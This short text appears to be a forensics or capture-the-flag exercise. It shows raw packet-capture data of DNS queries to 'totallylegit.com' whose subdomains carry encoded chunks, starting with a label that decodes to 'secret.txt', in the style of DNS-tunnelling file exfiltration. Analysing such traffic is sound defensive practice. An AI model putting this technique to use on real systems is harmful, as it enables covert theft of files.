This packet capture seems to show some suspicious traffic
............init.c2VjcmV0LnR4dHwx.totallylegit.com.....
............init.c2VjcmV0LnR4dHwx.totallylegit.com..................OK
.............0?0ejXWsr6TH-P_1xkEstaVwi7WDy8AcxufnGotWXH3ckb2Lh5A-qFljIWOAOLUS0?T1W8P4CpiCZbCM7_QKcv-r0JG29RpsyYY5YkZRxo7YDIYUJpHlGgxu5PWV1G_DA?KNrmnrktfbeDgzcpPJBjPTeMYx3Qs1Q6bAuFhROWXemJ80gPTYIz0xl8usJQN3m.w.totallylegit.com..................0?0ejXWsr6TH-P_1xkEstaVwi7WDy8AcxufnGotWXH3ckb2Lh5A-qFljIWOAOLUS0?T1W8P4CpiCZbCM7_QKcv-r0JG29RpsyYY5YkZRxo7YDIYUJpHlGgxu5PWV1G_DA?KNrmnrktfbeDgzcpPJBjPTeMYx3Qs1Q6bAuFhROWXemJ80gPTYIz0xl8usJQN3m.w.totallylegit.com..................0
0ejXWsr6TH+P/1xkEstaVwi7WDy8AcxufnGotWXH3ckb2Lh5A+qFljIWOAOLUS0T1W8P4CpiCZbCM7/QKcv+r0JG29RpsyYY5YkZRxo7YDIYUJpHlGgxu5PWV1G/DAKNrmnrktfbeDgzcpPJBjPTeMYx3Qs1Q6bAuFhROWXemJ80gPTYIz0xl8usJQN3mw